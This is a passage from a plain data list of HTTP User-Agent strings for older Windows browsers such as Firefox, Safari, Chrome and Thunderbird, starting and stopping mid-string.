6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.14) Gecko/20080519 Firefox/2.0.0.14 Flock/1.2.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; pt-PT; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ro; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ro; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12; MEGAUPLOAD 2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.12; SV1; MEGAUPLOAD 2.0) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100105 Firefox/3.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; sk; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; sk; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; sk; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; sl; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; sl; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; sl; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-HK; rv:1.8.1.7) Gecko Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-HK;) Gecko Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/526.3 (KHTML, like Gecko) Chrome/14.0.564.21 Safari/526.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; cs; rv:1.9.2.6) Gecko/20100723 myibrow/4.0.0.0 (Firefox/3.6 compatible)\nMozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18\nMozilla/5.0 (Windows; U; Windows NT 6.1; bg; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2\nMozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2a2pre) Gecko/20090912 Namoroka/3.6a2pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; da; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17\nMozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 BTRS25863 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 1.1.4322)\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.9) Gecko/20100825 Thunderbird/3.1.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.9) Gecko/20100915 Thunderbird/3.1.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.3a1pre) Gecko/20091013 Minefield/3.7a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-AU; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-CA; rv:1.9.0.5) Gecko/2009012102 Firefox/3.0.5 Flock/2.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.16) Gecko/2010021003 Firefox/3.0.16 Flock/2.5.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.5) Gecko/2009012105 Firefox/3.0.5 Flock/2.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.10) Gecko/20100512 Lightning/1.0b1 Thunderbird/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.10) Gecko/20100512 Thunderbird/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070225 lolifox/0.32\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.15) Gecko/20110303 Lightning/1.0b2 Thunderbird/3.1.9 ThunderBrowse/3.3.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US)  AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like   Gecko) Chrome/1.0.154.53 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.7 (KHTML, like Gecko) Iron/1.0.155.0 Safari/528.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Iron/2.0.178.0 Safari/530.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Iron/3.0.189.0 Safari/531.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like 